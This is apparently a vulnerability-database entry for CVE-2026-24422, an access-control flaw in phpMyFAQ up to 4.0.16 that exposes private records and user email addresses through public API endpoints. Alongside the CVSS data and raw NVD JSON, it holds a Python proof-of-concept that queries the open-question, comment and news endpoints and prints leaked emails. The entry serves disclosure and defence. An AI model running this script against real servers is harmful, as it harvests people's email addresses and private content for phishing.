Security Vulnerability Report
中文
CVE-2026-24422 CVSS 5.3 MEDIUM

CVE-2026-24422

Published: 2026-01-24 03:16:01
Last Modified: 2026-01-28 18:10:24

Description

phpMyFAQ is an open source FAQ web application. In versions 4.0.16 and below, multiple public API endpoints improperly expose sensitive user information due to insufficient access controls. The OpenQuestionController::list() endpoint calls Question::getAll() with showAll=true by default, returning records marked as non-public (isVisible=false) along with user email addresses, with similar exposures present in comment, news, and FAQ APIs. This information disclosure vulnerability could enable attackers to harvest email addresses for phishing campaigns or access content that was explicitly marked as private. This issue has been fixed in version 4.0.17.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:* - VULNERABLE
phpMyFAQ <= 4.0.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-24422 PoC - phpMyFAQ Information Disclosure # Target: phpMyFAQ <= 4.0.16 # Vulnerability: Multiple API endpoints expose sensitive user information TARGET_URL = "https://vulnerable-server.com" def exploit_open_question_api(): """Exploit OpenQuestionController::list() endpoint to leak non-public records with email addresses""" endpoint = f"{TARGET_URL}/api/openquestion/list" headers = { "Content-Type": "application/json" } # Default showAll=true causes information disclosure data = { "action": "list", "showAll": True } try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Success! Retrieved {len(result.get('data', []))} records") # Extract email addresses from leaked data for record in result.get('data', []): if 'email' in record: print(f"[+] Leaked email: {record['email']}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def exploit_comment_api(): """Exploit comment API for similar information disclosure""" endpoint = f"{TARGET_URL}/api/comment/list" headers = {"Content-Type": "application/json"} data = {"action": "list", "showAll": True} try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Comment API leaked {len(result.get('data', []))} records") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def exploit_news_api(): """Exploit news API for information disclosure""" endpoint = f"{TARGET_URL}/api/news/list" headers = {"Content-Type": "application/json"} data = {"action": "list", "showAll": True} try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] News API leaked {len(result.get('data', []))} records") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("[*] CVE-2026-24422 phpMyFAQ Information Disclosure PoC") print("[*] Target: phpMyFAQ <= 4.0.16") exploit_open_question_api() exploit_comment_api() exploit_news_api()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24422", "sourceIdentifier": "[email protected]", "published": "2026-01-24T03:16:01.010", "lastModified": "2026-01-28T18:10:23.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ is an open source FAQ web application. In versions 4.0.16 and below, multiple public API endpoints improperly expose sensitive user information due to insufficient access controls. The OpenQuestionController::list() endpoint calls Question::getAll() with showAll=true by default, returning records marked as non-public (isVisible=false) along with user email addresses, with similar exposures present in comment, news, and FAQ APIs. This information disclosure vulnerability could enable attackers to harvest email addresses for phishing campaigns or access content that was explicitly marked as private. This issue has been fixed in version 4.0.17."}, {"lang": "es", "value": "phpMyFAQ es una aplicación web de preguntas frecuentes de código abierto. En las versiones 4.0.16 e inferiores, múltiples puntos finales de API públicos exponen indebidamente información sensible del usuario debido a controles de acceso insuficientes. El punto final OpenQuestionController::list() llama a Question::getAll() con showAll=true por defecto, devolviendo registros marcados como no públicos (isVisible=false) junto con las direcciones de correo electrónico de los usuarios, con exposiciones similares presentes en las API de comentarios, noticias y preguntas frecuentes. Esta vulnerabilidad de revelación de información podría permitir a los atacantes recolectar direcciones de correo electrónico para campañas de phishing o acceder a contenido que fue explícitamente marcado como privado. Este problema ha sido solucionado en la versión 4.0.17."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.17", "matchCriteriaId": "8A48918B-2C09-403F-A8A5-8179AE32363E"}]}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-j4rc-96xj-gvqc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}